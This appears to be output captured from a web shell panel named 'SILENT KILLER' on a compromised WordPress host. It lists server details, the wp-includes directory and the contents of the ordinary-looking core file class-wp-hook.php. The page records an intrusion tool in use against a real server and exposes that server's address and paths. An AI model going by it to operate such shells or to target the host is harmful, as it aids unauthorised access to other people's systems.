SILENT KILLERPanel

Current Path: > home > ivftiowh > > public_html > wp-includes


Operation   : Linux premium88.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
Software     : Apache
Server IP    : 185.61.154.216 | Your IP: 216.73.216.44
Domains      : 1034 Domain(s)
Permission   : [ 0755 ]

Files and Folders in: /home/ivftiowh//public_html/wp-includes

NameTypeSizeLast ModifiedActions
ID3 Directory - -
IXR Directory - -
PHPMailer Directory - -
Requests Directory - -
SimplePie Directory - -
Text Directory - -
assets Directory - -
block-patterns Directory - -
block-supports Directory - -
blocks Directory - -
certificates Directory - -
css Directory - -
customize Directory - -
fonts Directory - -
html-api Directory - -
images Directory - -
js Directory - -
php-compat Directory - -
pomo Directory - -
rest-api Directory - -
sitemaps Directory - -
sodium_compat Directory - -
style-engine Directory - -
theme-compat Directory - -
widgets Directory - -
.htaccess File 160 bytes June 28 2024 08:27:59.
admin-bar.php File 35131 bytes September 13 2023 04:25:41.
atomlib.php File 11950 bytes September 13 2023 04:25:41.
author-template.php File 18951 bytes September 13 2023 04:25:41.
block-editor.php File 27598 bytes September 13 2023 04:25:41.
block-i18n.json File 316 bytes September 13 2023 04:25:41.
block-patterns.php File 15901 bytes September 13 2023 04:25:41.
block-template-utils.php File 49130 bytes September 13 2023 04:25:41.
block-template.php File 10592 bytes September 13 2023 04:25:42.
blocks.php File 59159 bytes June 24 2024 20:05:07.
bookmark-template.php File 12909 bytes September 13 2023 04:25:41.
bookmark.php File 15378 bytes September 13 2023 04:25:41.
cache-compat.php File 5969 bytes September 13 2023 04:25:42.
cache.php File 13474 bytes September 13 2023 04:25:42.
canonical.php File 33339 bytes September 13 2023 04:25:41.
capabilities.php File 40026 bytes September 13 2023 04:25:41.
category-template.php File 57009 bytes September 13 2023 04:25:41.
category.php File 12702 bytes September 13 2023 04:25:41.
class-IXR.php File 2543 bytes August 05 2020 08:21:22.
class-feed.php File 529 bytes August 05 2020 08:21:23.
class-http.php File 367 bytes September 13 2023 04:25:42.
class-json.php File 43684 bytes September 13 2023 04:25:42.
class-oembed.php File 401 bytes September 13 2023 04:25:41.
class-phpass.php File 6708 bytes September 13 2023 04:25:41.
class-phpmailer.php File 664 bytes September 13 2023 04:25:41.
class-pop3.php File 20969 bytes September 13 2023 04:25:41.
class-requests.php File 2237 bytes September 13 2023 04:25:41.
class-simplepie.php File 98124 bytes September 13 2023 04:25:41.
class-smtp.php File 457 bytes September 13 2023 04:25:41.
class-snoopy.php File 37715 bytes September 13 2023 04:25:42.
class-walker-category-dropdown.php File 2473 bytes September 13 2023 04:25:41.
class-walker-category.php File 8478 bytes September 13 2023 04:25:41.
class-walker-comment.php File 14214 bytes September 13 2023 04:25:41.
class-walker-nav-menu.php File 11313 bytes September 13 2023 04:25:42.
class-walker-page-dropdown.php File 2710 bytes September 13 2023 04:25:41.
class-walker-page.php File 7623 bytes September 13 2023 04:25:41.
class-wp-admin-bar-plain.php File 1000 bytes September 13 2023 04:25:41.
class-wp-admin-bar.php File 17364 bytes September 13 2023 04:25:41.
class-wp-ajax-response.php File 5266 bytes September 13 2023 04:25:41.
class-wp-application-passwords.php File 12854 bytes September 13 2023 04:25:41.
class-wp-block-editor-context.php File 1350 bytes September 13 2023 04:25:42.
class-wp-block-list.php File 4749 bytes September 13 2023 04:25:42.
class-wp-block-live.php File 1000 bytes September 13 2023 04:25:41.
class-wp-block-parser-block.php File 2555 bytes September 13 2023 04:25:42.
class-wp-block-parser-frame.php File 1916 bytes September 13 2023 04:25:41.
class-wp-block-parser.php File 11761 bytes September 13 2023 04:25:41.
class-wp-block-pattern-categories-registry.php File 5371 bytes September 13 2023 04:25:42.
class-wp-block-patterns-registry.php File 8775 bytes October 13 2023 06:16:03.
class-wp-block-styles-registry.php File 5883 bytes September 13 2023 04:25:41.
class-wp-block-supports.php File 5521 bytes September 13 2023 04:25:42.
class-wp-block-template.php File 1951 bytes September 13 2023 04:25:41.
class-wp-block-type-registry.php File 5013 bytes October 13 2023 06:16:03.
class-wp-block-type.php File 14301 bytes September 13 2023 04:25:41.
class-wp-block.php File 8402 bytes September 13 2023 04:25:42.
class-wp-classic-to-block-menu-converter.php File 4088 bytes September 13 2023 04:25:42.
class-wp-comment-query.php File 47829 bytes September 13 2023 04:25:41.
class-wp-comment.php File 9357 bytes September 13 2023 04:25:41.
class-wp-customize-control.php File 25843 bytes September 13 2023 04:25:41.
class-wp-customize-manager.php File 202163 bytes September 13 2023 04:25:41.
class-wp-customize-nav-menus.php File 57304 bytes September 13 2023 04:25:41.
class-wp-customize-panel.php File 10671 bytes September 13 2023 04:25:41.
class-wp-customize-section.php File 11245 bytes September 13 2023 04:25:42.
class-wp-customize-setting.php File 29890 bytes September 13 2023 04:25:41.
class-wp-customize-widgets.php File 71633 bytes September 13 2023 04:25:41.
class-wp-date-query.php File 35719 bytes September 13 2023 04:25:42.
class-wp-dependencies.php File 14063 bytes September 13 2023 04:25:42.
class-wp-dependency.php File 2627 bytes September 13 2023 04:25:42.
class-wp-duotone.php File 39362 bytes September 13 2023 04:25:41.
class-wp-editor.php File 72084 bytes September 13 2023 04:25:42.
class-wp-embed.php File 15994 bytes September 13 2023 04:25:42.
class-wp-error.php File 7502 bytes September 13 2023 04:25:41.
class-wp-fatal-error-handler.php File 7872 bytes September 13 2023 04:25:41.
class-wp-feed-cache-transient.php File 2586 bytes September 13 2023 04:25:41.
class-wp-feed-cache.php File 996 bytes September 13 2023 04:25:41.
class-wp-hook.php File 15628 bytes September 13 2023 04:25:41.
class-wp-http-cookie.php File 7389 bytes September 13 2023 04:25:41.
class-wp-http-curl.php File 12492 bytes September 13 2023 04:25:41.
class-wp-http-encoding.php File 6689 bytes September 13 2023 04:25:41.
class-wp-http-ixr-client.php File 3501 bytes September 13 2023 04:25:41.
class-wp-http-proxy.php File 5980 bytes September 13 2023 04:25:42.
class-wp-http-requests-hooks.php File 2022 bytes September 13 2023 04:25:41.
class-wp-http-requests-response.php File 4400 bytes September 13 2023 04:25:41.
class-wp-http-response.php File 2977 bytes September 13 2023 04:25:41.
class-wp-http-streams.php File 16810 bytes September 13 2023 04:25:42.
class-wp-http.php File 40350 bytes September 13 2023 04:25:41.
class-wp-image-editor-gd.php File 16623 bytes September 13 2023 04:25:41.
class-wp-image-editor-imagick.php File 29990 bytes September 13 2023 04:25:41.
class-wp-image-editor.php File 17133 bytes September 13 2023 04:25:42.
class-wp-list-util.php File 7443 bytes September 13 2023 04:25:41.
class-wp-locale-switcher.php File 6561 bytes September 13 2023 04:25:41.
class-wp-locale.php File 16115 bytes September 13 2023 04:25:41.
class-wp-matchesmapregex.php File 1826 bytes September 13 2023 04:25:41.
class-wp-meta-query.php File 30533 bytes September 13 2023 04:25:41.
class-wp-metadata-lazyloader.php File 6833 bytes September 13 2023 04:25:41.
class-wp-navigation-fallback.php File 6980 bytes September 13 2023 04:25:41.
class-wp-network-query.php File 19291 bytes September 13 2023 04:25:41.
class-wp-network.php File 12189 bytes September 13 2023 04:25:41.
class-wp-object-cache.php File 17594 bytes September 13 2023 04:25:42.
class-wp-oembed-controller.php File 6879 bytes September 13 2023 04:25:42.
class-wp-oembed.php File 31394 bytes September 13 2023 04:25:42.
class-wp-paused-extensions-storage.php File 5062 bytes September 13 2023 04:25:41.
class-wp-post-type.php File 25964 bytes September 13 2023 04:25:42.
class-wp-post.php File 6484 bytes September 13 2023 04:25:41.
class-wp-query.php File 150699 bytes September 13 2023 04:25:41.
class-wp-recovery-mode-cookie-service.php File 6877 bytes September 13 2023 04:25:41.
class-wp-recovery-mode-email-service.php File 11183 bytes September 13 2023 04:25:41.
class-wp-recovery-mode-key-service.php File 4501 bytes September 13 2023 04:25:41.
class-wp-recovery-mode-link-service.php File 3463 bytes September 13 2023 04:25:41.
class-wp-recovery-mode.php File 11435 bytes September 13 2023 04:25:41.
class-wp-rewrite.php File 63038 bytes September 13 2023 04:25:41.
class-wp-role.php File 2524 bytes September 13 2023 04:25:42.
class-wp-roles.php File 8578 bytes September 13 2023 04:25:41.
class-wp-scripts.php File 28351 bytes September 13 2023 04:25:41.
class-wp-session-tokens.php File 7451 bytes September 13 2023 04:25:41.
class-wp-simplepie-file.php File 3403 bytes September 13 2023 04:25:42.
class-wp-simplepie-sanitize-kses.php File 1800 bytes September 13 2023 04:25:41.
class-wp-site-query.php File 31020 bytes September 13 2023 04:25:42.
class-wp-site.php File 7454 bytes September 13 2023 04:25:41.
class-wp-styles.php File 10898 bytes September 13 2023 04:25:41.
class-wp-tax-query.php File 19545 bytes September 13 2023 04:25:42.
class-wp-taxonomy.php File 18567 bytes September 13 2023 04:25:41.
class-wp-term-query.php File 40451 bytes September 13 2023 04:25:42.
class-wp-term.php File 5298 bytes September 13 2023 04:25:41.
class-wp-text-diff-renderer-inline.php File 830 bytes September 13 2023 04:25:41.
class-wp-text-diff-renderer-table.php File 17187 bytes September 13 2023 04:25:41.
class-wp-textdomain-registry.php File 5976 bytes September 13 2023 04:25:41.
class-wp-theme-json-data.php File 1554 bytes September 13 2023 04:25:41.
class-wp-theme-json-resolver.php File 24669 bytes September 13 2023 04:25:41.
class-wp-theme-json-schema.php File 4301 bytes September 13 2023 04:25:41.
class-wp-theme-json.php File 129295 bytes October 13 2023 06:16:03.
class-wp-theme.php File 56188 bytes October 13 2023 06:16:03.
class-wp-user-meta-session-tokens.php File 2990 bytes August 05 2020 08:21:22.
class-wp-user-query.php File 42242 bytes September 13 2023 04:25:41.
class-wp-user-request.php File 2222 bytes September 13 2023 04:25:41.
class-wp-user.php File 22762 bytes September 13 2023 04:25:41.
class-wp-walker.php File 13167 bytes September 13 2023 04:25:41.
class-wp-widget-factory.php File 3347 bytes September 13 2023 04:25:42.
class-wp-widget.php File 18383 bytes September 13 2023 04:25:42.
class-wp-xmlrpc-server.php File 214130 bytes September 13 2023 04:25:41.
class-wp.php File 25978 bytes September 13 2023 04:25:41.
class-wpdb.php File 120418 bytes September 13 2023 04:25:41.
class.wp-dependencies.php File 373 bytes September 13 2023 04:25:42.
class.wp-scripts.php File 343 bytes September 13 2023 04:25:42.
class.wp-styles.php File 338 bytes September 13 2023 04:25:42.
comment-template.php File 101319 bytes September 13 2023 04:25:41.
comment.php File 128537 bytes September 13 2023 04:25:41.
compat.php File 15219 bytes September 13 2023 04:25:41.
cron.php File 41540 bytes September 13 2023 04:25:41.
date-long.php File 1000 bytes September 13 2023 04:25:41.
date.php File 400 bytes September 13 2023 04:25:41.
default-constants.php File 10981 bytes September 13 2023 04:25:41.
default-filters.php File 33016 bytes October 13 2023 06:16:03.
default-widgets.php File 2222 bytes September 13 2023 04:25:42.
deprecated.php File 159498 bytes September 13 2023 04:25:41.
embed-template.php File 338 bytes September 13 2023 04:25:41.
embed.php File 37470 bytes September 13 2023 04:25:42.
error-protection.php File 4121 bytes September 13 2023 04:25:42.
feed-atom-comments.php File 5448 bytes September 13 2023 04:25:42.
feed-atom.php File 3048 bytes September 13 2023 04:25:41.
feed-rdf.php File 2668 bytes August 05 2020 08:21:22.
feed-rss.php File 1189 bytes August 05 2020 08:21:23.
feed-rss2-comments.php File 4080 bytes September 13 2023 04:25:42.
feed-rss2.php File 3799 bytes August 05 2020 08:21:22.
feed.php File 23057 bytes September 13 2023 04:25:42.
formatting.php File 334312 bytes June 24 2024 20:05:07.
functions.php File 265650 bytes June 24 2024 20:05:07.
functions.wp-scripts.php File 14758 bytes September 13 2023 04:25:42.
functions.wp-styles.php File 8583 bytes September 13 2023 04:25:42.
general-template.php File 167726 bytes September 13 2023 04:25:42.
global-styles-and-settings.php File 18842 bytes September 13 2023 04:25:41.
http.php File 23848 bytes September 13 2023 04:25:42.
https-detection.php File 6505 bytes September 13 2023 04:25:41.
https-migration.php File 4741 bytes September 13 2023 04:25:42.
kses.php File 71670 bytes September 13 2023 04:25:41.
l10n.php File 62783 bytes September 13 2023 04:25:42.
link-template.php File 154510 bytes September 13 2023 04:25:41.
load.php File 53954 bytes September 13 2023 04:25:42.
locale.php File 162 bytes August 05 2020 08:21:22.
media-template.php File 61601 bytes September 13 2023 04:25:42.
media.php File 205173 bytes October 13 2023 06:16:03.
meta.php File 63276 bytes September 13 2023 04:25:42.
ms-blogs.php File 25628 bytes September 13 2023 04:25:42.
ms-default-constants.php File 4900 bytes September 13 2023 04:25:42.
ms-default-filters.php File 6636 bytes September 13 2023 04:25:41.
ms-deprecated.php File 21758 bytes September 13 2023 04:25:41.
ms-files.php File 2652 bytes September 13 2023 04:25:41.
ms-functions.php File 91258 bytes September 13 2023 04:25:42.
ms-load.php File 19870 bytes September 13 2023 04:25:41.
ms-network.php File 3782 bytes September 13 2023 04:25:41.
ms-settings.php File 4124 bytes September 13 2023 04:25:42.
ms-site.php File 40476 bytes September 13 2023 04:25:41.
nav-menu-template.php File 25785 bytes September 13 2023 04:25:42.
nav-menu.php File 44078 bytes September 13 2023 04:25:41.
navigation-fallback.php File 2298 bytes September 13 2023 04:25:41.
option.php File 80051 bytes September 13 2023 04:25:42.
pluggable-deprecated.php File 6263 bytes August 05 2020 08:21:22.
pluggable.php File 111475 bytes September 13 2023 04:25:41.
plugin.php File 35465 bytes September 13 2023 04:25:41.
post-formats.php File 7100 bytes September 13 2023 04:25:41.
post-template.php File 66904 bytes September 13 2023 04:25:41.
post-thumbnail-template.php File 10308 bytes September 13 2023 04:25:42.
post.php File 274389 bytes October 13 2023 06:16:03.
query.php File 37032 bytes September 13 2023 04:25:41.
registration-functions.php File 200 bytes September 13 2023 04:25:41.
registration.php File 200 bytes September 13 2023 04:25:41.
rest-api.php File 97068 bytes October 13 2023 06:16:03.
revision.php File 25433 bytes September 13 2023 04:25:41.
rewrite.php File 19514 bytes September 13 2023 04:25:41.
robots-template.php File 5185 bytes September 13 2023 04:25:41.
rss-functions.php File 255 bytes September 13 2023 04:25:41.
rss.php File 23015 bytes September 13 2023 04:25:41.
script-loader.php File 137080 bytes September 13 2023 04:25:41.
session.php File 258 bytes August 05 2020 08:21:23.
shortcodes.php File 23854 bytes October 13 2023 06:16:03.
sitemaps.php File 3238 bytes September 13 2023 04:25:42.
spl-autoload-compat.php File 441 bytes September 13 2023 04:25:41.
style-engine.php File 7198 bytes September 13 2023 04:25:42.
taxonomy.php File 172884 bytes September 13 2023 04:25:41.
template-canvas.php File 592 bytes September 13 2023 04:25:42.
template-loader.php File 3012 bytes September 13 2023 04:25:41.
template.php File 23327 bytes September 13 2023 04:25:41.
theme-i18n.json File 1151 bytes September 13 2023 04:25:41.
theme-previews.php File 2826 bytes October 13 2023 06:16:03.
theme-templates.php File 5522 bytes September 13 2023 04:25:42.
theme.json File 7203 bytes September 13 2023 04:25:42.
theme.php File 130874 bytes September 13 2023 04:25:42.
update.php File 36755 bytes September 13 2023 04:25:41.
user.php File 170915 bytes September 13 2023 04:25:41.
vars.php File 5838 bytes September 13 2023 04:25:42.
version.php File 928 bytes June 24 2024 20:05:07.
widgets.php File 69875 bytes September 13 2023 04:25:42.
wp-db.php File 445 bytes September 13 2023 04:25:41.
wp-diff.php File 647 bytes August 05 2020 08:21:23.

Reading File: /home/ivftiowh//public_html/wp-includes/class-wp-hook.php

<?php
/**
 * Plugin API: WP_Hook class
 *
 * @package WordPress
 * @subpackage Plugin
 * @since 4.7.0
 */

/**
 * Core class used to implement action and filter hook functionality.
 *
 * @since 4.7.0
 *
 * @see Iterator
 * @see ArrayAccess
 */
#[AllowDynamicProperties]
final class WP_Hook implements Iterator, ArrayAccess {

	/**
	 * Hook callbacks.
	 *
	 * @since 4.7.0
	 * @var array
	 */
	public $callbacks = array();

	/**
	 * The priority keys of actively running iterations of a hook.
	 *
	 * @since 4.7.0
	 * @var array
	 */
	private $iterations = array();

	/**
	 * The current priority of actively running iterations of a hook.
	 *
	 * @since 4.7.0
	 * @var array
	 */
	private $current_priority = array();

	/**
	 * Number of levels this hook can be recursively called.
	 *
	 * @since 4.7.0
	 * @var int
	 */
	private $nesting_level = 0;

	/**
	 * Flag for if we're currently doing an action, rather than a filter.
	 *
	 * @since 4.7.0
	 * @var bool
	 */
	private $doing_action = false;

	/**
	 * Adds a callback function to a filter hook.
	 *
	 * @since 4.7.0
	 *
	 * @param string   $hook_name     The name of the filter to add the callback to.
	 * @param callable $callback      The callback to be run when the filter is applied.
	 * @param int      $priority      The order in which the functions associated with a particular filter
	 *                                are executed. Lower numbers correspond with earlier execution,
	 *                                and functions with the same priority are executed in the order
	 *                                in which they were added to the filter.
	 * @param int      $accepted_args The number of arguments the function accepts.
	 */
	public function add_filter( $hook_name, $callback, $priority, $accepted_args ) {
		$idx = _wp_filter_build_unique_id( $hook_name, $callback, $priority );

		$priority_existed = isset( $this->callbacks[ $priority ] );

		$this->callbacks[ $priority ][ $idx ] = array(
			'function'      => $callback,
			'accepted_args' => $accepted_args,
		);

		// If we're adding a new priority to the list, put them back in sorted order.
		if ( ! $priority_existed && count( $this->callbacks ) > 1 ) {
			ksort( $this->callbacks, SORT_NUMERIC );
		}

		if ( $this->nesting_level > 0 ) {
			$this->resort_active_iterations( $priority, $priority_existed );
		}
	}

	/**
	 * Handles resetting callback priority keys mid-iteration.
	 *
	 * @since 4.7.0
	 *
	 * @param false|int $new_priority     Optional. The priority of the new filter being added. Default false,
	 *                                    for no priority being added.
	 * @param bool      $priority_existed Optional. Flag for whether the priority already existed before the new
	 *                                    filter was added. Default false.
	 */
	private function resort_active_iterations( $new_priority = false, $priority_existed = false ) {
		$new_priorities = array_keys( $this->callbacks );

		// If there are no remaining hooks, clear out all running iterations.
		if ( ! $new_priorities ) {
			foreach ( $this->iterations as $index => $iteration ) {
				$this->iterations[ $index ] = $new_priorities;
			}

			return;
		}

		$min = min( $new_priorities );

		foreach ( $this->iterations as $index => &$iteration ) {
			$current = current( $iteration );

			// If we're already at the end of this iteration, just leave the array pointer where it is.
			if ( false === $current ) {
				continue;
			}

			$iteration = $new_priorities;

			if ( $current < $min ) {
				array_unshift( $iteration, $current );
				continue;
			}

			while ( current( $iteration ) < $current ) {
				if ( false === next( $iteration ) ) {
					break;
				}
			}

			// If we have a new priority that didn't exist, but ::apply_filters() or ::do_action() thinks it's the current priority...
			if ( $new_priority === $this->current_priority[ $index ] && ! $priority_existed ) {
				/*
				 * ...and the new priority is the same as what $this->iterations thinks is the previous
				 * priority, we need to move back to it.
				 */

				if ( false === current( $iteration ) ) {
					// If we've already moved off the end of the array, go back to the last element.
					$prev = end( $iteration );
				} else {
					// Otherwise, just go back to the previous element.
					$prev = prev( $iteration );
				}

				if ( false === $prev ) {
					// Start of the array. Reset, and go about our day.
					reset( $iteration );
				} elseif ( $new_priority !== $prev ) {
					// Previous wasn't the same. Move forward again.
					next( $iteration );
				}
			}
		}

		unset( $iteration );
	}

	/**
	 * Removes a callback function from a filter hook.
	 *
	 * @since 4.7.0
	 *
	 * @param string                $hook_name The filter hook to which the function to be removed is hooked.
	 * @param callable|string|array $callback  The callback to be removed from running when the filter is applied.
	 *                                         This method can be called unconditionally to speculatively remove
	 *                                         a callback that may or may not exist.
	 * @param int                   $priority  The exact priority used when adding the original filter callback.
	 * @return bool Whether the callback existed before it was removed.
	 */
	public function remove_filter( $hook_name, $callback, $priority ) {
		$function_key = _wp_filter_build_unique_id( $hook_name, $callback, $priority );

		$exists = isset( $this->callbacks[ $priority ][ $function_key ] );

		if ( $exists ) {
			unset( $this->callbacks[ $priority ][ $function_key ] );

			if ( ! $this->callbacks[ $priority ] ) {
				unset( $this->callbacks[ $priority ] );

				if ( $this->nesting_level > 0 ) {
					$this->resort_active_iterations();
				}
			}
		}

		return $exists;
	}

	/**
	 * Checks if a specific callback has been registered for this hook.
	 *
	 * When using the `$callback` argument, this function may return a non-boolean value
	 * that evaluates to false (e.g. 0), so use the `===` operator for testing the return value.
	 *
	 * @since 4.7.0
	 *
	 * @param string                      $hook_name Optional. The name of the filter hook. Default empty.
	 * @param callable|string|array|false $callback  Optional. The callback to check for.
	 *                                               This method can be called unconditionally to speculatively check
	 *                                               a callback that may or may not exist. Default false.
	 * @return bool|int If `$callback` is omitted, returns boolean for whether the hook has
	 *                  anything registered. When checking a specific function, the priority
	 *                  of that hook is returned, or false if the function is not attached.
	 */
	public function has_filter( $hook_name = '', $callback = false ) {
		if ( false === $callback ) {
			return $this->has_filters();
		}

		$function_key = _wp_filter_build_unique_id( $hook_name, $callback, false );

		if ( ! $function_key ) {
			return false;
		}

		foreach ( $this->callbacks as $priority => $callbacks ) {
			if ( isset( $callbacks[ $function_key ] ) ) {
				return $priority;
			}
		}

		return false;
	}

	/**
	 * Checks if any callbacks have been registered for this hook.
	 *
	 * @since 4.7.0
	 *
	 * @return bool True if callbacks have been registered for the current hook, otherwise false.
	 */
	public function has_filters() {
		foreach ( $this->callbacks as $callbacks ) {
			if ( $callbacks ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Removes all callbacks from the current filter.
	 *
	 * @since 4.7.0
	 *
	 * @param int|false $priority Optional. The priority number to remove. Default false.
	 */
	public function remove_all_filters( $priority = false ) {
		if ( ! $this->callbacks ) {
			return;
		}

		if ( false === $priority ) {
			$this->callbacks = array();
		} elseif ( isset( $this->callbacks[ $priority ] ) ) {
			unset( $this->callbacks[ $priority ] );
		}

		if ( $this->nesting_level > 0 ) {
			$this->resort_active_iterations();
		}
	}

	/**
	 * Calls the callback functions that have been added to a filter hook.
	 *
	 * @since 4.7.0
	 *
	 * @param mixed $value The value to filter.
	 * @param array $args  Additional parameters to pass to the callback functions.
	 *                     This array is expected to include $value at index 0.
	 * @return mixed The filtered value after all hooked functions are applied to it.
	 */
	public function apply_filters( $value, $args ) {
		if ( ! $this->callbacks ) {
			return $value;
		}

		$nesting_level = $this->nesting_level++;

		$this->iterations[ $nesting_level ] = array_keys( $this->callbacks );

		$num_args = count( $args );

		do {
			$this->current_priority[ $nesting_level ] = current( $this->iterations[ $nesting_level ] );

			$priority = $this->current_priority[ $nesting_level ];

			foreach ( $this->callbacks[ $priority ] as $the_ ) {
				if ( ! $this->doing_action ) {
					$args[0] = $value;
				}

				// Avoid the array_slice() if possible.
				if ( 0 == $the_['accepted_args'] ) {
					$value = call_user_func( $the_['function'] );
				} elseif ( $the_['accepted_args'] >= $num_args ) {
					$value = call_user_func_array( $the_['function'], $args );
				} else {
					$value = call_user_func_array( $the_['function'], array_slice( $args, 0, (int) $the_['accepted_args'] ) );
				}
			}
		} while ( false !== next( $this->iterations[ $nesting_level ] ) );

		unset( $this->iterations[ $nesting_level ] );
		unset( $this->current_priority[ $nesting_level ] );

		$this->nesting_level--;

		return $value;
	}

	/**
	 * Calls the callback functions that have been added to an action hook.
	 *
	 * @since 4.7.0
	 *
	 * @param array $args Parameters to pass to the callback functions.
	 */
	public function do_action( $args ) {
		$this->doing_action = true;
		$this->apply_filters( '', $args );

		// If there are recursive calls to the current action, we haven't finished it until we get to the last one.
		if ( ! $this->nesting_level ) {
			$this->doing_action = false;
		}
	}

	/**
	 * Processes the functions hooked into the 'all' hook.
	 *
	 * @since 4.7.0
	 *
	 * @param array $args Arguments to pass to the hook callbacks. Passed by reference.
	 */
	public function do_all_hook( &$args ) {
		$nesting_level                      = $this->nesting_level++;
		$this->iterations[ $nesting_level ] = array_keys( $this->callbacks );

		do {
			$priority = current( $this->iterations[ $nesting_level ] );

			foreach ( $this->callbacks[ $priority ] as $the_ ) {
				call_user_func_array( $the_['function'], $args );
			}
		} while ( false !== next( $this->iterations[ $nesting_level ] ) );

		unset( $this->iterations[ $nesting_level ] );
		$this->nesting_level--;
	}

	/**
	 * Return the current priority level of the currently running iteration of the hook.
	 *
	 * @since 4.7.0
	 *
	 * @return int|false If the hook is running, return the current priority level.
	 *                   If it isn't running, return false.
	 */
	public function current_priority() {
		if ( false === current( $this->iterations ) ) {
			return false;
		}

		return current( current( $this->iterations ) );
	}

	/**
	 * Normalizes filters set up before WordPress has initialized to WP_Hook objects.
	 *
	 * The `$filters` parameter should be an array keyed by hook name, with values
	 * containing either:
	 *
	 *  - A `WP_Hook` instance
	 *  - An array of callbacks keyed by their priorities
	 *
	 * Examples:
	 *
	 *     $filters = array(
	 *         'wp_fatal_error_handler_enabled' => array(
	 *             10 => array(
	 *                 array(
	 *                     'accepted_args' => 0,
	 *                     'function'      => function() {
	 *                         return false;
	 *                     },
	 *                 ),
	 *             ),
	 *         ),
	 *     );
	 *
	 * @since 4.7.0
	 *
	 * @param array $filters Filters to normalize. See documentation above for details.
	 * @return WP_Hook[] Array of normalized filters.
	 */
	public static function build_preinitialized_hooks( $filters ) {
		/** @var WP_Hook[] $normalized */
		$normalized = array();

		foreach ( $filters as $hook_name => $callback_groups ) {
			if ( $callback_groups instanceof WP_Hook ) {
				$normalized[ $hook_name ] = $callback_groups;
				continue;
			}

			$hook = new WP_Hook();

			// Loop through callback groups.
			foreach ( $callback_groups as $priority => $callbacks ) {

				// Loop through callbacks.
				foreach ( $callbacks as $cb ) {
					$hook->add_filter( $hook_name, $cb['function'], $priority, $cb['accepted_args'] );
				}
			}

			$normalized[ $hook_name ] = $hook;
		}

		return $normalized;
	}

	/**
	 * Determines whether an offset value exists.
	 *
	 * @since 4.7.0
	 *
	 * @link https://www.php.net/manual/en/arrayaccess.offsetexists.php
	 *
	 * @param mixed $offset An offset to check for.
	 * @return bool True if the offset exists, false otherwise.
	 */
	#[ReturnTypeWillChange]
	public function offsetExists( $offset ) {
		return isset( $this->callbacks[ $offset ] );
	}

	/**
	 * Retrieves a value at a specified offset.
	 *
	 * @since 4.7.0
	 *
	 * @link https://www.php.net/manual/en/arrayaccess.offsetget.php
	 *
	 * @param mixed $offset The offset to retrieve.
	 * @return mixed If set, the value at the specified offset, null otherwise.
	 */
	#[ReturnTypeWillChange]
	public function offsetGet( $offset ) {
		return isset( $this->callbacks[ $offset ] ) ? $this->callbacks[ $offset ] : null;
	}

	/**
	 * Sets a value at a specified offset.
	 *
	 * @since 4.7.0
	 *
	 * @link https://www.php.net/manual/en/arrayaccess.offsetset.php
	 *
	 * @param mixed $offset The offset to assign the value to.
	 * @param mixed $value The value to set.
	 */
	#[ReturnTypeWillChange]
	public function offsetSet( $offset, $value ) {
		if ( is_null( $offset ) ) {
			$this->callbacks[] = $value;
		} else {
			$this->callbacks[ $offset ] = $value;
		}
	}

	/**
	 * Unsets a specified offset.
	 *
	 * @since 4.7.0
	 *
	 * @link https://www.php.net/manual/en/arrayaccess.offsetunset.php
	 *
	 * @param mixed $offset The offset to unset.
	 */
	#[ReturnTypeWillChange]
	public function offsetUnset( $offset ) {
		unset( $this->callbacks[ $offset ] );
	}

	/**
	 * Returns the current element.
	 *
	 * @since 4.7.0
	 *
	 * @link https://www.php.net/manual/en/iterator.current.php
	 *
	 * @return array Of callbacks at current priority.
	 */
	#[ReturnTypeWillChange]
	public function current() {
		return current( $this->callbacks );
	}

	/**
	 * Moves forward to the next element.
	 *
	 * @since 4.7.0
	 *
	 * @link https://www.php.net/manual/en/iterator.next.php
	 *
	 * @return array Of callbacks at next priority.
	 */
	#[ReturnTypeWillChange]
	public function next() {
		return next( $this->callbacks );
	}

	/**
	 * Returns the key of the current element.
	 *
	 * @since 4.7.0
	 *
	 * @link https://www.php.net/manual/en/iterator.key.php
	 *
	 * @return mixed Returns current priority on success, or NULL on failure
	 */
	#[ReturnTypeWillChange]
	public function key() {
		return key( $this->callbacks );
	}

	/**
	 * Checks if current position is valid.
	 *
	 * @since 4.7.0
	 *
	 * @link https://www.php.net/manual/en/iterator.valid.php
	 *
	 * @return bool Whether the current position is valid.
	 */
	#[ReturnTypeWillChange]
	public function valid() {
		return key( $this->callbacks ) !== null;
	}

	/**
	 * Rewinds the Iterator to the first element.
	 *
	 * @since 4.7.0
	 *
	 * @link https://www.php.net/manual/en/iterator.rewind.php
	 */
	#[ReturnTypeWillChange]
	public function rewind() {
		reset( $this->callbacks );
	}

}

SILENT KILLER Tool